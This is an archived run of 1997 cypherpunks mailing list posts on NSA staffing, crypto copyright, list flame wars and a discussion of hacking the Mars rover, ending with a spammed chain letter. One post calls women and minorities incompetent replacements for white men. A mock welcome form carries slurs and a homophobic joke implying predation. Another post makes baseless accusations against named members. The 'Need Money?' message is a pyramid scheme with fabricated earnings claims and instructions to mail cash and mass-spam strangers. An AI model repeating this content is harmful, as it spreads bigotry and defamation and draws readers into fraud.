> >> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
> >> the Russian networking company in which Sun has a 10 percent stake, to
> >> turn over the source code of its SunScreen SKIP E+.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rodney Mongerfield <rm@dev.null>
Date: Tue, 8 Jul 1997 10:42:33 +0800
To: cypherpunks@toad.com
Subject: Re: [MILCOM] NSA: struggling with diversity ...
Message-ID: <199707080214.UAA15950@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



> In interviews and in federal lawsuits, NSA workers say some of the agency's
> most senior personnel are being forced out as the nation's biggest
> intelligence agency attempts simultaneously to reduce and diversify its
> staff.
> 
> As a result, some question whether national security is being imperiled by
> inexperienced employees being promoted to sensitive jobs to meet hiring
> quotas.

  Let me see if I get this straight...
  National security is important enough to strip the citizens of their
rights and freedoms and trample the constitution into the mud, but 
National Security is not so important that it can't be compromised for 
the purpose of removing competent white males from their jobs and
replacing them with less experienced and/or incompetent colored people
and women.

> The main concern, though, is whether, in its push to diversify its work
> force, the agency is leaving sensitive national security tasks in the hands
> of untrained workers. One former NSA veteran offered as evidence a recent
> travel report.
> 
> Such reports, which are required of NSA employees after business trips, are
> unclassified, available on request to anyone outside the agency. The report
> in question, filed by an inexperienced agent, detailed a trip to a city in
> Colombia that revealed classified details of the Drug Enforcement Agency's
> operation, down to the location of offices, names and secret technological
> information.

  Of course, when DEA agents are murdered because of incompetent
affirmative
action promotees at NSA, the government will call for stronger controls
on
encryption and greater powers of surveillance of the citizens.

> Such slips are not the only national security risk, NSA veterans say. This
> year, the agency's personnel office, prompted by a growing number of
> incidents, warned employees against using the Internet to access adult "news"
> groups and other pornographic sites.
> 
> Doing so not only violates NSA work rules but is considered a risk because
> foreign agents could try to blackmail employees discovered with explicit or
> illegal pornography.

  While the government blackmails its own citizens with legislation
which
threatens to imprison them for actions matching those of NSA employees.

> Now women and minority candidates receive at least one round of extra
> consideration for promotion, which means a minority woman receives three
> chances to advance to a white man's one.

  Is the White House declaring this a victory for minorities, drug
dealers
and child pornographers? Politics makes for strange bedfellows.

Rodney Mongerfield
"Take my rights...please!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 8 Jul 1997 13:18:14 +0800
To: Mike <cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970707141240.00967c00@localhost>
Message-ID: <v0300781fafe76440a9bd@[207.94.249.161]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:12 AM -0700 7/7/97, Mike wrote:
>Bill Frantz wrote:
>>Excuse me.  Certain parts of that CDROM are already available overseas.
>>If they are not posted to the net how does that prevent them from being
>>available overseas?
>
>You mean that it would be fine for foreigners to copy and sell the CD, but
>not to put it on the net? Well, copyright law being what it is, makes this
>a bit tricky. An ftp administrator have never been sentenced for copyright
>violation (please correct me if I'm wrong), but CD copiers are thrown in jail
>all the time. The distinction that the courts make is that of profit.
>
>Sure, they can buy the book, but the electronic version is obviously more
>useful to some people, or there wouldn't be any market for it.
>
>I know foreigners who would like to put a copy of Applied Cryptography in
>their PalmPilots, to carry around for reference. They can't do that legaly,
>and that makes crypto less accessible.

You will have to decide for yourself how important the extra "convenience"
of an electronic copy is compared with the publisher's stated intent to
"never do this again" if it is posted.  It is a simple case of future
benefit vs. immediate gratification.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunk <cypherpunks@dev.null>
Date: Tue, 8 Jul 1997 11:07:12 +0800
To: cypherpunks@toad.com
Subject: Welcome To Cypherpunks! / Re: can i join
Message-ID: <199707080243.UAA20498@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Marc J. Wohler wrote:
> At 10:37 PM 7/6/97 -0500, you wrote:
> >Drifter0@aol.com wrote: (Subject: can I join)
> >> thanx
> >
> >   ...  Oh, Jesus, another stupid AOLer.  Well, let me go through the
> >proper procedures.
> >
> >Time for the flame-form.
> 
> Bennett,
> I got some chuckles from your  'Flame Form' and sympathize with view
> expressed therein.
> 
> However:
> How do you propose that we get our import  message of strong crypto
> awareness out to the clueless if we display elitism, impatience and
> intolerance to their ignorance?

                       Welcome to the
                  Cypherpunks Mailing List (TcM)
                  ------------------------

  Your initial post to the list has been digitally classified by the 
Cypherpunks Automated Response system in order to determine the initial
level of reputation capital you will be awarded as a new member of the
Cypherpunks Mailing List (TcM).

Your initial entry level on the Cypherpunks Mailing List (TcM) will be:
               *** Level 3 ***
                  CLUELESS
               *** Level 3 ***
  Level 3 is the second lowest entry level available. From Level 3, 
you may move up to other levels, at which the pinnacle is Cypherpunk 
Elite, or down to Level 1, which each member of the Cypherpunks Mailing
List (TcM) has his or her own pet name for.
  Your reputation capital is increased or decreased according to the
quality and frequency of your posts. You will be given clues as to
how other list members rate your post (shit-for-brains) and if you
miss these clues, then you risk being demoted to Level 1--Moron.

         _______________________
         Warning & Disclaimer!!!
         -----------------------
The "Cypherpunks Mailing List (TcM) Level Classification System" (TM)
is based on the "Snow Anarchistic Rating System"...the "Paul Bradley
MiniAnarchist Rating System"...ad infinitum...since it is a random,
daily changing composite of the rating systems of each individual
Cypherpunk.
Thus, once again, the higher levels are not necessarily better and you
may be subject to support and praise, or attack and condemnation, no
matter what the content or quality of your posts. The source of your
support on the list, or the attacks against you, may change from time
to time depending on which list member is having a "Bad Algorithm Day."

Also be advised that due to the highly technical nature of some of the
mathematical concepts addressed on the list, it is possible to move
beyond Level 0 (Flame Ony/No Content) and into negative levels of
reputation capital such as Level -1 (where your Doppleganger sends
10 copies of your own posts back to you).
At Reputation Capital levels below -1, you may be subjected to shame,
humiliation and filtering to the point where the only hope for your
posts being read is for you to post to the list anonymously, as a
"Monger" of one sort or another.

In conclusion, "Welcome to the list, _CLUELESS_!"
 
----------------------------------------------------------------------
Personal Note to Level 3 Entrants from Tim C. May, Philosopher King:
  "Welcome to the Cypherpunks Mailing List (TcM).
  "If you check the archives, you will find that I said "thanx" to the
list back in 1992. In the future, please give me proper credit for the
quote when saying "hi" to the list."
----------------------------------------------------------------------
Personal Note to Level 3 Entrants from Dr. Dimitri Vulis, KOTM:
  "When sending ASCII Art slams against Timmy C. Mayo to the list, it
is not necessary to give me proper credit, as I will be given full
credit for it automatically, even though it is really Timmmy sending
the ASCII art, himself.
----------------------------------------------------------------------
Personal Note to Level 3 Entrants from Marc Wohler, The Newbie's Pal:
  "Please ignore the insults of the intolerant elitists on the list.
Some of them are intolerant of gay people, too. In the interests of
promoting strong crypto I let new, young, male list members come over
to my house and discuss crypto over dinner and drinks.
  "Are you small enough to fit in a small home freezer?"
----------------------------------------------------------------------
*** "Cypherpunks Mailing List" is a (Trade{cocksucker}Mark) of the
Electronic Forgery Foundation, and any abuse of this (TcM) will be
considered normal behavior on this list. ***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Tue, 8 Jul 1997 09:34:56 +0800
To: cypherpunks@toad.com
Subject: WOW-COM(TM) News Update
Message-ID: <199707080118.VAA05428@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear WOW-COM(TM) Reader:

WOW-COM(TM) is the wireless industry online information source, a free service of CTIA.  Find out what's going on in the wireless industry by visiting http://www.wow-com.com/welcome today!

INDEX:
======
1)	WOW-COM(TM)'s Wall Street Watch Expands

2)	CTIA Joins Court Challenge on Number Portability Ruling
	
3)	Wireless Apps '97 Conference Information
	

WOW-COM(TM)'S WALL STREET WATCH  EXPANDS
==========================================
http://www.wow-com.com/professional/wallstreetwatch

Check out the newly restructured and updated Wall Street Watch section of WOW-COM(TM).  This area not only provides Wireless Financial News (updated daily) and Wireless Stock Quotes, but now offers weekly, quarterly and annual wireless financial periodicals.

CTIA JOINS COURT CHALLENGE ON NUMBER PORTABILITY RULING
========================================================
http://www.wow-com.com/professional/whatshot

See how the court challenge to Number Portability Rules could affect your business.  CTIA will be on your side, arguing for reasonable time lines -- read the whole story here.

WIRELESS APPS '97 CONFERENCE INFORMATION  
=========================================
http://www.wow-com.com/professional/convention

It's wireless Internet access, CDPD, Smart Phones, and wireless modems.  It's all your employees staying in touch.  It's October 27-29, 1997.  Wireless Apps '97, all the information you need is right here.


MORE WOW-COM(TM) FEATURES
============================
WOW-COM(TM) is current: Updated 3x per day.
WOW-COM(TM) is insightful: CTIA analysis. 
WOW-COM(TM) is beneficial: Find products and services in  WOW-COM(TM)'s Virtual Trade Show.  
WOW-COM(TM) is valuable to employers and job seekers: List available positions in the WOW-COM(TM) Career Center, receive resumes via email or search job listings to find a new position in the wireless industry. 

The world of wireless is in constant motion.  Stay on top of the news and benefit from CTIA's analysis by reading WOW-COM(TM) everyday.  

You may remove yourself from the WOW-COM(TM) mailing list by going to http://www.wow-com.com/unsubscribe

================================================

This week's featured exhibitor: The Wireless SourceDisk(TM) by GeoComm International.

Need mapping software that is flexible, current, and feature rich?  The Wireless SourceDisk(TM) features the most comprehensive suite of mapping analysis tools and data available for the wireless markets, including FCC Auction D-,E-,F-Block Results.
http://www.wow-com.com/redir.cfm?url=http://www.geocomm.com/wsd.html
================================================







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 8 Jul 1997 12:41:22 +0800
To: "Phillip M. Hallam-Baker" <cypherpunks@toad.com>
Subject: Re: Fw: Hack the Mars rover
In-Reply-To: <199707080220.WAA26595@life.ai.mit.edu>
Message-ID: <3.0.2.32.19970707212618.006fed60@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 PM 7/7/97 -0400, Phillip M. Hallam-Baker wrote:
>Mentioning possible security holes in specific installations
>in public is not really fair. 

You must be joking.

[Not to mention that I didn't claim to have found a hole, but merely
inquired if anyone else knew about one].

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BadRemailer <bm@dev.null>
Date: Tue, 8 Jul 1997 11:53:06 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
Message-ID: <199707080336.VAA28514@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> The Canadian whacko who goes by "Toto," "TruthMonger," "Xenix Chainsaw
> Massacre Author," "Colonel C.J. Parker" (or somesuch) is apparently at it
> again.
> 
> While I was out of town, he arranged to have this message sent:
> 
> At 5:20 PM -0700 7/2/97, Tim May wrote:
> >  Anything that isn't nailed down, is mine.
> >  Anything that I can pry loose, isn't nailed down.

  "Toto" is actually an anonymous pseudonym of Adam Back, who resents
Tim May's respected position on the list. "TruthMonger" posts are 
usually written by John Young and Robert Hettinga as a result of 
having the same drug connections and thus a common outlook on life
when they are stoned out of their gourds.
  Lucky Green's recent posts are actually forgeries done by snow, and
Kent Crispin has been sending posts purporting to be from Dr. Vulis.

  The fact is, forgeries have gotten so out of hand on the cypherpunks
list that even the "can i join" and "subscribe me" posts of late are
probably coming from John Gilmore, who is forging AOL return addresses
in an attempt to bring calls for his return to hosting the list in
order to save us from "The Night of the Living Newbies."

BadRemailer
"Some people just can't keep a secret."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 8 Jul 1997 10:36:51 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <2seH0D1w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970707221804.28812B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I revisited the LaMacchia case in an article recently:
    
  http://cgi.pathfinder.com/netly/opinion/0,1042,1107,00.html

-Declan


On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> nobody@REPLAY.COM (Anonymous) writes:
> 
> > On Mon, 7 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> > 
> > > Mike <Michael.Johnson@mejl.com> writes:
> > > > You mean that it would be fine for foreigners to copy and sell the CD, bu
> > > > not to put it on the net? Well, copyright law being what it is, makes thi
> > > > a bit tricky. An ftp administrator have never been sentenced for copyrigh
> > > > violation (please correct me if I'm wrong),
> > >
> > > An MIT student named Lamachhia(sp?) reportedly operated a warez FTP archive
> > > He got arrested and charged with something irrelevant (wire fraud??).
> > 
> > The case against him was lost.
> 
> I was studying up on his case just the other day and wasn't sure
> if it was all over.  The DA fucked up by charging him with something
> totally irrelevant and not copyright violations.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 8 Jul 1997 10:38:18 +0800
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Fw: Hack the Mars rover
Message-ID: <199707080220.WAA26595@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3971.1071713713.multipart/signed"

--Boundary..3971.1071713713.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Probably a very bad plan unless you like prison food...

Like the downside if you get caught is likely to be non-trivial.
Imagine an outcry above the Mitinic level and bellow the McVeigh
level...

On the other hand I would not be too sure about the level of security
being exceptional. I know that the NSA was not involved in giving
security advice on Federal Web server setup until very recently (after
the CIA raid).

I suspect that the result of Lucky's mail is thart some poor guy is now
going to have to sit up nursing a comms link watching for attempts to
penetrate. Mentioning possible security holes in specific installations
in public is not really fair. I know of one well known security
consultant who claimed to have reported a security weakness at a
particular site. Caused a massive panic. When the alledged report could
not be found you can guess what happened to the guys chances of getting
any business...


Phill
 ----
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Newsgroups: ailab.cypherpunks
Date: Monday, July 07, 1997 5:47 PM
Subject: Re: Hack the Mars rover

>On Mon, 7 Jul 1997, Paul H. Merrill wrote:
>
>> I hate to be the one to tell you this, but taking someone's toy away
--
>> even just for awhile -- IS Denial of Service.  And, yes, 'twould be
a
>> Blast to go joyriding.
>
>Yeah, it's still DoS, but it's not quite the same as just taking the
toy
>away from everyone..
>
>-----------------------------------------------------------------------

>Ryan Anderson - <Pug Majere>     "Who knows, even the horse might
sing"
>Wayne State University - CULMA   "May you live in interesting
times.."
>randerso@ece.eng.wayne.edu                        Ohio = VYI of the
USA
>PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
>-----------------------------------------------------------------------

>
> 


--Boundary..3971.1071713713.multipart/signed
Content-Type: application/octet-stream; name="bin00000.bin"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00000.bin"
Content-Description: "smime.p7s"

MIIBCwYJKoZIhvcNAQcCoIH9MIH6AgEBMQswCQYFKw4DAhoFADALBgkqhkiG
9w0BBwExgdowgdcCAQEwdjBiMREwDwYDVQQHEwhJbnRlcm5ldDEXMBUGA1UE
ChMOVmVyaVNpZ24sIEluYy4xNDAyBgNVBAsTK1ZlcmlTaWduIENsYXNzIDEg
Q0EgLSBJbmRpdmlkdWFsIFN1YnNjcmliZXICEGFDFWiEgdTVot4rXibJq8Uw
CQYFKw4DAhoFADANBgkqhkiG9w0BAQEFAARAPJRsTEp7fas6tGyhdZVp+cLS
8akLKoIUeZoNCRpGZi9K+yfJJBP70x1yRzfJ2F1K9LmTz7tAw8EVT9rKpQlR
0Q==
--Boundary..3971.1071713713.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 8 Jul 1997 14:06:46 +0800
To: frissell@panix.com
Subject: Re: DCSB: Duncan Frissell and MarketEarth
Message-ID: <3.0.32.19970707223104.00a0d308@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:25 PM 7/7/97 -0400, Robert Hettinga wrote:

>"Duncan Frissell makes Kevin Kelly sound like Jimmy Carter." -- Anonymous
>
>Mr. Frissell, an Attorney, privacy consultant, and author, has worked
>in what he insists on calling the "Right Wing Nut Investment Community"
>for more than 20 years.
.............................................................


What sort of things have you authored, Duncan?  Books? Articles?
Something we could look up & read?


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 8 Jul 1997 14:11:38 +0800
To: cypherpunks@toad.com
Subject: RE: Need Money? This REALLY works!!!
Message-ID: <3.0.32.19970707230702.00a179c4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Well dang, I think Ashish Mahajan needs us all to send 10 copies of this
24K message back to him . . . 



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 8 Jul 1997 14:54:17 +0800
To: cypherpunks@toad.com
Subject: RE: Need Money? This REALLY works!!!
Message-ID: <3.0.32.19970707230946.00a1a32c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Well dang, I think Ashish Mahajan needs us all to send 10 copies of this
24K message back to him . . . 



    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ashish Mahajan <ashish-mahajan@usa.net>
Date: Tue, 8 Jul 1997 12:24:19 +0800
To: <cypherpunks@toad.com>
Subject: Need Money? This REALLY works!!!
Message-ID: <199707080404.AAA05420@sable.cc.vt.edu>
MIME-Version: 1.0
Content-Type: text/plain




NOTE: "If you have not requested this message then please disregard and accept our apologies.  PLEASE DO NOT READ ANY FURTHER UNLESS YOU NEED MORE MONEY!?!"

Dear friend,

July 1997.  Mark your calender.  This is no joke and I'm not here to waste your time, so pay close attention.  The plan is SIMPLE, and actually WORKS, for one reason only:  "32 cents"  

By this I mean a lack thereof...no letters to mail.  Only a few strokes of your keyboard and a few thousand emails moving at the speed of light, for FREE, other than your internet access fee.  It's started with VERY MINIMAL  outlay ($20) and the income return will have you laughing in DISBELIEF all the way to the bank.  Do it now or hear about it later...read on please, and thank me when you make your first $1000....

Talk to you in eight weeks...
 
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days.  Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
 
The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave some thought and study to it.
 
My name is Christopher Erickson.  Two years ago, the corporation I worked at for the past twelve years down-sized and my position was eliminated.  After unproductive job interviews,  I decided to open my own business.  Over the past year, I incurred many unforeseen financial problems.  I owed my family, friends, and creditors over $35,000.  The economy was taking a toll on my business and I just couldn't seem to make ends meet.  I had to refinance and borrow against my home to support my family and struggling business.  I truly believe it was wrong for me to be in debt like this.  AT THAT MOMENT something significant happened in my life and I am writing to share my experience in hopes that this will change your life FOREVER....FINANCIALLY!!!
 
In mid-December, I received this program via email.  Six months prior to
receiving this program I had been sending away for information on various business opportunities.  All of the programs I received, in my opinion, were not cost effective.  They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they worked or not.  One claimed I'd make a million dollars in one year...it didn't tell me I'd have to write a book to make it.
 
But like I was saying, in December of '95 I received this program.  I didn't send for it, or ask for it, they just got my name off a mailing list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to make sure I was reading it correctly, I couldn't believe my eyes.  Here was a MONEY-MAKING  PHENOMENON.  I could invest as much as I wanted to start, without putting  me further in debt.  After I got a pencil and paper and figured it out, I would at
least get my money back.  After determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".
 
Initially I sent out 10,000 emails.  It only cost me about $15.00 for my
time on-line.  The great thing about email is that I didn't need any money
for printing to send out the program, only the cost to fulfill my orders.  I
am telling you like it is, I hope it doesn't turn you off, but I promised
myself that I would not "rip-off" anyone, no matter how much money it cost me!
 
A good program to help do this is Ready Aim Fire, an email extracting and mass mail program at:

 http://microsyssolutions.com/
  
In less than one week, I was starting to receive orders for REPORT #1. By January 13th, I had received 26 orders for REPORT #1.  When you read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in 20 to 90 
days was done.  By January 30th, I had received 196 orders for REPORT #2.  If  you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, 
YOU WILL MAKE YOUR $50,000 GOAL."

Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By March 19th, of my emailing of 10,000, I received $58,000 with more coming in every day.
 
I paid off  ALL my debts and bought a much needed new car.  Please take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does work, but you must follow it EXACTLY!  Especially the rules of not trying to place your name in a different place.  It doesn't work, you'll lose out on a  lot of  money!  REPORT  #2  explains this.  Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for REPORT #2 and you will  make  $50,000 or more in 20 to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!
 
If you choose not to participate in this program, I'm sorry.  It really is a
great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to financial
security.
 
If you are a fellow business owner and you are in financial trouble like I
was, or you want to start your own business, consider this a sign.  I DID!
 
                                Sincerely,
                                Christopher Erickson
 
PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on a kitchen table? IT'S AWESOME!
 
"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea who to contact to get a copy, so I had to wait until I was emailed another copy of the program.  Eleven months passed, then it came.  I DIDN'T throw this one away.  I made $41,000 on the first try."
 
                                        Dawn W., Evansville, IN
 
"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free lunch in
life.  You get out of life what you put into it.'  Through trial  and error
and a somewhat slow frustrating start, I finally figured it out. The program works very well, I just had to find the right target group of people to email it to.  So far this year, I have made over $63,000 using this program. I know my dad would have been very proud of me."
 
                                        Alan B., Philadelphia, PA
 
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
 
By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and  one that is legal,  could not have been created by an amateur.
Let me tell you a little about myself.  I had a profitable business for ten
years.  Then in 1979 my business began falling off.  I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out.  It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate...because many of you know from first hand  experience. There were more failures and bankruptcies than ever before.
 
The middle class was vanishing.  Those who knew what they were doing invested wisely and moved up.  Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET POORER."  
The traditional methods of making money will never allow you to "move up" or "get rich", inflation will see to that.  You have just received information that can  give you financial freedom for the rest of your life, with "NO RISK" and "JUST A  LITTLE BIT OF EFFORT."  You can make more money in the next few months  than you have ever imagined.
 
I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have already made over FOUR MILLION DOLLARS!  I have retired from the program after sending out over 16,000 programs.  Now I have several offices which market this and several other programs here in the US and overseas.  By the Spring, we wish to market the 'Internet' by a partnership with AMERICA ON LINE.
 
Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way. It works exceedingly well as it is now.  Remember to email a copy of this exciting program to everyone that you can think of.  One of the people you send this to may send out 50,000...and your name will be on every one of them!.  Remember though, the more you send out, the more potential customers
you will reach.
 
So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!
 
"THINK ABOUT IT"
 
Before you delete this program from your mailbox, as I almost did, take a
little time to read it and REALLY THINK ABOUT IT.  Get a pencil and figure out what could happen when YOU participate.  Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money!  Definitely get back what you invested.  Any doubts you have will  vanish when your first orders come in.  IT WORKS!
 
                                        Paul Johnson, Raleigh, NC
 
HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
 
Let's say that you decide to start small, just to see how it goes, and we'll
assume you and all those involved send out 2,000 programs each. Let's also assume that the mailing receives a .5% response.  Using a good list the response could be much better.  Also many people will send out hundreds of thousands of programs instead of 2,000.  But continuing with this example, you send out only 2,000 programs.  With a .5% response, that is only 10 orders for REPORT #1.  Those 10 people respond by sending out 2,000 programs each for a total of 20,000.  

Out of those .5%, 100 people respond and order REPORT #2.  Those 100 mail out 2,000 programs each for a total of 200,000.  The .5% response to that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000 programs each for a 2,000,000 total.  The .5% response to that is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for you. CASH!!!!  Your total income in this example is $50 + $500 + $5000 +$50,000 for a total of $55,550!!!!
 
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU  MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!   DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE   OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  

Believe me, many people will do that and more!  By the way, your cost to participate in this is practically nothing.  You obviously already have an internet connection and email is FREE!!!  REPORT #3 will show you the best methods for bulk emailing and purchasing email lists.
 
THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not  require you to come in contact with people, do any hard work, and best of all, you never have to leave the house except to get the mail.  If you believe that someday you'll get that big break that you've been waiting for, THIS IS IT!
Simply follow the instructions, and your dream will come true.  This
multi-level email order marketing program works perfectly...100% EVERY TIME.
Email is the sales tool of the future.  Take advantage of this
non-commercialized method of advertising NOW!!  The longer you wait, the more people will be doing business using email.  Get your piece of this action!!
 
MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold throughout Multi-level Methods by the mid to late 1990's.  This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the US, 20% (100,000) made their fortune in the last several years in MLM.  Moreover, statistics show 45 people become millionaires everyday through Multi-Level Marketing.
 
INSTRUCTIONS
 
We at Erris Mail Order Marketing Business, have a method of raising capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could use  $50,000 to $125,000 in the next 20 to 90 days.  Before you say "Bull", please read  the program carefully.
 
This is not a chain letter, but a perfectly legal money making opportunity.
Basically, this is what we do:  As with all multi-level business, we build
our business by recruiting new partners and selling our products.  Every
state in the USA allows you to recruit new multi-level business partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You do it privately in your own home, store or office.
 
This is the GREATEST Multi-level Mail Order Marketing anywhere:
 
STEP (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this by ordering the REPORT from each of the four 4 names listed on the next page. For each REPORT, send $5 CASH and a SELF-ADDRESSED, STAMPED  envelope (BUSINESS SIZE #10) to the person listed for the SPECIFIC REPORT.   International orders should also include $1 extra for postage.  It is essential  that you specify the NAME and NUMBER of the report requested to the person you are ordering from.  You will need ALL FOUR (4) REPORTS because you will be REPRINTING and RESELLING them. DO NOT alter the names or sequence other than what the instructions say.
IMPORTANT:  Always provide same-day service on all orders.
 
STEP (2) Now you have to make some changes in this email message before you are ready to start sending it out.  Replace  the  name  and  address  under  REPORT #1  with yours, moving the one that was there down to REPORT #2.   Drop  the  name and address  under REPORT #2 to REPORT #3, moving the one that was there to REPORT #4.   The name and address that was under REPORT #4 is dropped from the list and  this party  is  no doubt on the way to the bank.  When doing this, make certain you  type the names and addresses ACCURATELY!  DO NOT MIX UP MOVING 
PRODUCT/REPORT  POSITIONS!!!
 
STEP (3)   Having made the required changes in the NAME list, save it as a text (.txt) file in it's own directory to be used with whatever email
program you like. Again, REPORT #3 will tell you the best methods of bulk emailing and acquiring email lists. Step (4)   Email a copy of the entire program (all of this is very important) to everyone whose address you can get your hands on. Start with friends and relatives since you can encourage them to take advantage of this  fabulous  money-making opportunity. that's what I did.  And they love me now, more than ever. Then, email to anyone and everyone!  Use your imagination! You can get email addresses from companies on the internet who specialize in email mailing lists.  These are very
cheap, 100,000 addresses for around $35.00.
 
IMPORTANT:  You won't get a good response if you use an old list, so always request a FRESH, NEW list. You will find out where to purchase these lists when you order the four 4 REPORTS.
 
ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
 
REQUIRED REPORTS
 
***Order each REPORT by NUMBER and NAME***
 
ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
 
ORDER REPORT #1 FROM:

Mahajan Marketing
PO Box 2287
Merrifield, VA 22116-2287
________________________________________________________
REPORT #2
